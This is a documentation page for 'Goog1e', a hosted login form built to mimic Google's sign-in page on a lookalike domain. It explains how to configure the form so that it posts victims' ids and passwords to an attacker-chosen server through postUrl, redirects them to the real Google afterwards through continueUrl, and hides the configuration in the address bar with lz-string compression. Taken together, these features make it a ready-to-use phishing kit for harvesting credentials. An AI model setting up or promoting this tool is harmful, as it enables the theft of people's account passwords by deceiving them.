Goog1e is a login form designed to closely resemble that of Google's.
View the login form with its default settings here.
The text and logo can be easily customized via to suit simple organisations.
Simply append a question mark (?
) then a URL or JSON string to the URL.
https://goog1e.neocities.com/signin/?https://www.example.com/customSettings.json
https://goog1e.neocities.com/signin/?{"locale": {"heading4Id": "Hurry up and enter your id below"}}
Goog1e has two major options, postUrl
and continueUrl
.
If postUrl
and continueUrl
are both set, Goog1e will send the
id
and password
via a post request to the URL.
CORS must be enabled on the server from the origin goog1e.neocities.com
.
If continueUrl
is not set, then the form will be directly submitted to the
postUrl
address. CORS is not required for this.
A full list of customizations, complete with default settings is below.
{ "image": { "logo": "images/logo.svg", "background": "images/background.svg" }, "locale": { "heading4Id": "Sign in", "subheading4Id": "with your Magic Account", "placeholder4Id": "Email or phone", "error4Id": "Enter an email or phone number", "forgotEmail": "Forgot email?", "heading4Password": "Welcome", "placeholder4Password": "Enter your password", "error4Password": "Enter a password", "forgotPassword": "Forgot password?", "moreOptions": "More options", "nextBtn": "Next", "language": "English (United States)", "help": "Help", "privacy": "Privacy", "terms": "Terms" }, "link": { "help": "", "privacy": "", "terms": "" }, "color": { "background": "#e0e0e0", "main": "#ffffff", "text": "#212121", "accent": "#4285f4", "highlight": "#ff9800" }, "title": "Sign in - Magic Accounts", "postUrl": "", "continueUrl": "https://www.google.com" }
If you want to shrink or disguise the text in the address bar, the JSON / URL can be a compressed lz-string.
https://goog1e.neocities.com/signin/?BYFxAcGcC4HpYO5IHQFMAeBDAtuANqsgMYD22sRArpCGQMqpgCWAdgOaTIBWkJLQA
You can test the lz-string compression here: Current length is 0 characters.
Q: Why doesn't XYZ work? A: Try opening the Javascript console and reading its helpful error messages. There is a great reference here.
Q: The console says Uncaught SyntaxError ... JSON
A: Check that you are using a well formatted JSON using this site. Garbage in, garbage out.
Q: The console says Failed to load <URL>
A: Double check the URL is correct (and includes the https://
) and that CORS is enabled on your server.
Q: Help! There's no error, and nothing is showing? A: If you have customized the logo, the form will be hidden until the new logo has loaded. This stops the ugly change from one logo to another. Check your logo URL.
2018-03-22: Released
Initial release
2018-03-23: Add mobile support
Added media queries to detect and react responsively to screen sizes > 600px and > 450px